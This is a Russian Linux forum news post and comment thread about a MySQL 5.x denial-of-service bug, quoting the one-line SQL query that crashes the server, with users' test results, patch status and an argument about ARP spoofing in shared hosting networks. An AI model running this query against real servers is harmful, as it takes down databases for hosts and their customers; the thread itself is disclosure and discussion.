LINUX.ORG.RU

Удалённый DoS против MySQL 5


0

0

СУБД (версии уточняются) MySQL 5.x уязвима к следующей DoS атаке: "SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));", которая приводит к падению сервера. Хостерам рекомендуется обновиться незамедлительно.

>>> Подробности

Вот тебе бабушка и крутой мускул..Кто там чего имел против соляры? По сравнению с _этим_ - баг с телнетом просто детская сказка.

signal
()
Ответ на: комментарий от signal

>Вот тебе бабушка и крутой мускул..Кто там чего имел против соляры? По сравнению с _этим_ - баг с телнетом просто детская сказка.

Чего-чего? DoS от человека, который имеет аккаунт в MySQL, страшнее получения шелла любым посторонним человеком?

true
()
Ответ на: комментарий от true

>Чего-чего? DoS от человека, который имеет аккаунт в MySQL, страшнее получения шелла любым посторонним человеком?

У тебя больной,искаженный взгляд на мир. человек который имеет аккаунт в mysql -это любой клиент хостера.Причем прям сейчаc. А открытый наружу телнет в солярке - это признак повреждения мозга и встречается крайне редко.

signal
()
Ответ на: комментарий от signal

>У тебя больной,искаженный взгляд на мир. человек который имеет аккаунт в mysql -это любой клиент хостера.Причем прям сейчаc. А открытый наружу телнет в солярке - это признак повреждения мозга и встречается крайне редко.

DoS'а бояться - в лес не ходить. Какие в MySQL есть средства по ограничению использования ресурсов (чтобы клиент не выполнял одновременно кучу тяжелых запросов)? Да и вообще, находясь с тобой в одной локалке, я тебя могу задосить любую твою службу по самое не балуйся, например, генерить HTTP-запросы на тяжелые страницы с самых разных IP мира (для этого надо всего лишь в твоей ARP-таблице присвоить себе IP рутера).

true
()

> СУБД (версии уточняются) MySQL 5.x уязвима к следующей DoS атаке: "SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));", которая приводит к падению сервера.

Как страшно жить :(

eveel ★★
()

>WHERE id IN(1, (SELECT IF(1=0,1,2/0)))

Это все происки лисперов злых. :)

Zubok ★★★★★
()
Ответ на: комментарий от true

>Да и вообще, находясь с тобой в одной локалке, я тебя могу задосить любую твою службу по самое не балуйся,

Ага.Минут на 5.

> например, генерить HTTP-запросы на тяжелые страницы с самых разных IP мира (для этого надо всего лишь в твоей ARP-таблице присвоить себе IP рутера).

Я понимаю что судя по аватаре твой мозг зохавал ктухлу но матчасть тебе все же следует подучить.

signal
()
Ответ на: комментарий от signal

>Ага.Минут на 5.

Хоть на всю жизнь. Пока там будут обычные свитчи.

>Я понимаю что судя по аватаре твой мозг зохавал ктухлу но матчасть тебе все же следует подучить.

Подучи сам, если ты не знаешь, как работает сеть.

true
()
Ответ на: комментарий от true

>Хоть на всю жизнь. Пока там будут обычные свитчи.

Я если что в музее не работаю :)

>Подучи сам, если ты не знаешь, как работает сеть.

После твоего высера насчет адреса в arp-таблице и рутера я понял что тебе надо не учиться а просто к доктору по мозгам

signal
()

Я так понимаю, это девятая причина, почему не стоит использовать СУБД MySQL? ;)

anonymous
()
Ответ на: комментарий от signal

>>Хоть на всю жизнь. Пока там будут обычные свитчи.

>Я если что в музее не работаю :)

В обычных колокейшенах используются именно обычные свитчи.

>После твоего высера насчет адреса в arp-таблице и рутера я понял что тебе надо не учиться а просто к доктору по мозгам

Внимательно слушаю последовательность, как ты отправляешь/принимаешь IP-пакеты от/куда-либо через гейт. Начиная с того, как резолвится IP в MAC; как свитч устанавливает, какому компу слать пакет для определенного MAC. Заодно расскажи, кто мешает другому компу послать тебе пакет от имени 192.168.0.1 (и угадай, как при этом изменится твоя ARP-таблица)? Или расскажи, кто мешает другому компу послать тебе пакет от имени другого MAC?

true
()

м, сейчас проверил, сплоит действительно работает на mysqld Ver 5.0.37 for pc-linux-gnu on i686 (Source distribution).

Впрочем, у меня всё равно постгрес, а mysql взял чтобы проверить :)

eveel ★★
()
Ответ на: комментарий от true

>В обычных колокейшенах используются именно обычные свитчи.

И про DMZ там конечно ничего не знают? ню-ню.

>Внимательно слушаю последовательность, как ты отправляешь/принимаешь IP-пакеты от/куда-либо через гейт.

Гыыы. Одно это показывает что ты нихера не понимаешь в технологиях уровня isp.

> Начиная с того, как резолвится IP в MAC; как свитч устанавливает, какому компу слать пакет для определенного MAC.

Про vlan слышал? Даже если в твоем быдлоколлокейшне сервер цепляется в простой былдосвитч - цепляется он 100% в отдельный vlan который рулится уже на маршрутизаторе 3го уровня. И все твои подъ%бы с mac идут лесом.

> Заодно расскажи, кто мешает другому компу послать тебе пакет от имени 192.168.0.1 (и угадай, как при этом изменится твоя ARP-таблица)? Или расскажи, кто мешает другому компу послать тебе пакет от имени другого MAC?

Тебе адрес доктора таки дать?

signal
()
Ответ на: комментарий от true

И на будущее: mac-адрсация часть стандарта ethernet и только. Подмена мака будет работать только если ты в одной подсети с жертвой через тупой быдлосвитч не знающий про vlan. У нормальных isp таковых нет.

signal
()

$ sudo mysqld --version
mysqld  Ver 5.0.38-log for pc-linux-gnu on x86_64 (Gentoo Linux mysql-5.0.38)
$ mysql --version
mysql  Ver 14.12 Distrib 5.0.38, for pc-linux-gnu (x86_64) using readline 5.1
$ mysql test -e 'SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));'
+------+
| id   |
+------+
|    1 | 
+------+

Что я делаю не так?

eugine_kosenko ★★★
()
Ответ на: комментарий от signal

>Даже если в твоем быдлоколлокейшне сервер цепляется в простой былдосвитч - цепляется он 100% в отдельный vlan который рулится уже на маршрутизаторе 3го уровня. И все твои подъ%бы с mac идут лесом.

Такое очень редко где бывает. Как правило - серверы разных фирм цепляются к одному и тому же обычному свитчу, можно без проблем поставить любой незанятый IP-шник или подрубить любой другой комп (с другим MAC).

true
()
Ответ на: комментарий от true

>Такое очень редко где бывает.

Ты хостинг-то нормальный видел?

> Как правило - серверы разных фирм цепляются к одному и тому же обычному свитчу, можно без проблем поставить любой незанятый IP-шник или подрубить любой другой комп (с другим MAC).

Это если ты на хостинг в год тратишь меньше чем на пиво в месяц. И если к тому же админ хостинга с раком мозга и вообще идиот.

signal
()
Ответ на: комментарий от true

Майкл, похоже ты так и не поумнел, почетное право нести знамя остается за тобой.

Sun-ch
()
Ответ на: комментарий от signal

>И если к тому же админ хостинга с раком мозга и вообще идиот.

Ну, в таком случае 99% админов, работающих у провайдеров - идиоты. :)

true
()
Ответ на: комментарий от HappyCoder

> Тоже (gentoo)

На ALT для 5.0.34 упало. Джентушники уже успели пофиксить?

eugine_kosenko ★★★
()
Ответ на: комментарий от true

>Ну, в таком случае 99% админов, работающих у провайдеров - идиоты. :)

Платить не пробовал?

signal
()

В gentoo и в основных дистрибутивов всё уже пропатчено, и вышли обновления. Кончайте задавать вопрос "Что я делаю не так".

birdie ★★★★★
() автор топика

rbcsoft.ru уже лежит :)

mv ★★★★★
()
Ответ на: комментарий от birdie

> В gentoo и в основных дистрибутивов всё уже пропатчено,

А в чем тогда кипиш?

Мля, чешутся руки проверить у своего хостера, но боюсь, что получится, как в том анекдоте...

eugine_kosenko ★★★
()
Ответ на: комментарий от isden

mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.0.32-log Gentoo Linux mysql-5.0.32

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SELECT Host from user WHERE Host IN(1, (SELECT IF(1=0,1,2/0)));
Empty set, 4 warnings (0.00 sec)

mysql> show processlist;
+----+------+-----------+-------+---------+------+-------+------------------+
| Id | User | Host | db | Command | Time | State | Info |
+----+------+-----------+-------+---------+------+-------+------------------+
| 2 | root | localhost | mysql | Query | 0 | NULL | show processlist |
+----+------+-----------+-------+---------+------+-------+------------------+
1 row in set (0.00 sec)

mysql>

mevg
()

$ sudo mysqld --version

mysqld Ver 5.0.32-Debian_7etch1-log for pc-linux-gnu on i486 (Debian etch distribution)

mysql> SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));

ERROR 2013 (HY000): Lost connection to MySQL server during query

но ничего насмерть не падает... Можно дальше работать...

shaplov ★★★
()
Ответ на: комментарий от shaplov

> но ничего насмерть не падает... Можно дальше работать...

В офисе, может и можно. Но сервак мускула таки придется запустить...

eugine_kosenko ★★★
()
Ответ на: комментарий от eugine_kosenko

>> но ничего насмерть не падает... Можно дальше работать...

> В офисе, может и можно. Но сервак мускула таки придется запустить...

??? сервер продолжил нормально отзываться на команды из консоли...

shaplov ★★★
()
Ответ на: комментарий от signal

>Я понимаю что судя по аватаре твой мозг зохавал ктухлу но матчасть тебе все же следует подучить.

Блин. Сколько лет на ЛОРе, а где смотреть аватары и профайлы всё понять не могу :) Подскажите.

redbaron ★★
()

Для одарённых:

A remote attacker could send a specially crafted SQL request to the server, _possibly_ resulting in a server crash.

Или нужно перевести?

Отдаленный нападавший мог послать особенно обработанный запрос SQL серверу, возможно приводящему к крушению сервера.

(Это translate.ru так переводит).

birdie ★★★★★
() автор топика

mysql

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 1172681 to server version: 5.0.24a

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use mysql;

Database changed

mysql> SELECT Host from user WHERE Host IN(1, (SELECT IF(1=0,1,2/0)));

Empty set (0.03 sec)

mysql>

slack 11.0

anonymous
()
Ответ на: комментарий от shaplov

> ??? сервер продолжил нормально отзываться на команды из консоли...

Странно, обычно вот это:

ERROR 2013 (HY000): Lost connection to MySQL server during query

означает, что сервака больше не существует.

А на что он откликается? Может, это команды клиента?

eugine_kosenko ★★★
()

> SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));

Кстати, можно сделать проще:

SELECT id from example WHERE id IN (1, 2/0);

В общем, грабли обработки деления на ноль. Кстати, как по мне при делении на 0 логичнее выбрасывать исключение. И кажется, в Оракле это также. А что по этому поводу говорит стандарт? И как это реализовано в PgSQL?

eugine_kosenko ★★★
()
Ответ на: комментарий от redbaron

>Блин. Сколько лет на ЛОРе, а где смотреть аватары и профайлы всё понять не могу :) Подскажите.

В личных настройках включить показ аватар.

P.S. eduard_pustobaev

anonymous
()
Ответ на: комментарий от redbaron

>Блин. Сколько лет на ЛОРе, а где смотреть аватары и профайлы всё понять не могу :) Подскажите.

Видишь между ником и датой поста звёздочку в скобках? Это ссылка на профиль..

anonymous
()
Ответ на: комментарий от shaplov

аналогичная ситуация. По логам он рестартится и выкидывает дампы. ИМХО побольше таких запросов и будет виден DоS-эффект.

Sano
()
Ответ на: комментарий от eugine_kosenko

>> ??? сервер продолжил нормально отзываться на команды из консоли...

> Странно, обычно вот это: > ERROR 2013 (HY000): Lost connection to MySQL server during query > означает, что сервака больше не существует. > А на что он откликается? Может, это команды клиента?

Уж не знаю, что откликается, но я на это только что wiki поставил ;-)

shaplov ★★★
()
Ответ на: комментарий от eugine_kosenko

> И как это реализовано в PgSQL? Welcome to psql 8.2.4, the PostgreSQL interactive terminal.

Type: \copyright for distribution terms \h for help with SQL commands \? for help with psql commands \g or terminate with semicolon to execute query \q to quit

core=# SELECT 2/0; ERROR: деление на ноль

anonymous
()
Ответ на: комментарий от true

>В обычных колокейшенах используются именно обычные свитчи.

Вранье.

Быть может, где-то в Урюпинске это и так, но в любом уважающем себя московском датацентре поставить себе произвольный мак == отрубиться от сети.

anonymous
()

В чем проявляется "удаленность" атаки?

AcidumIrae ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.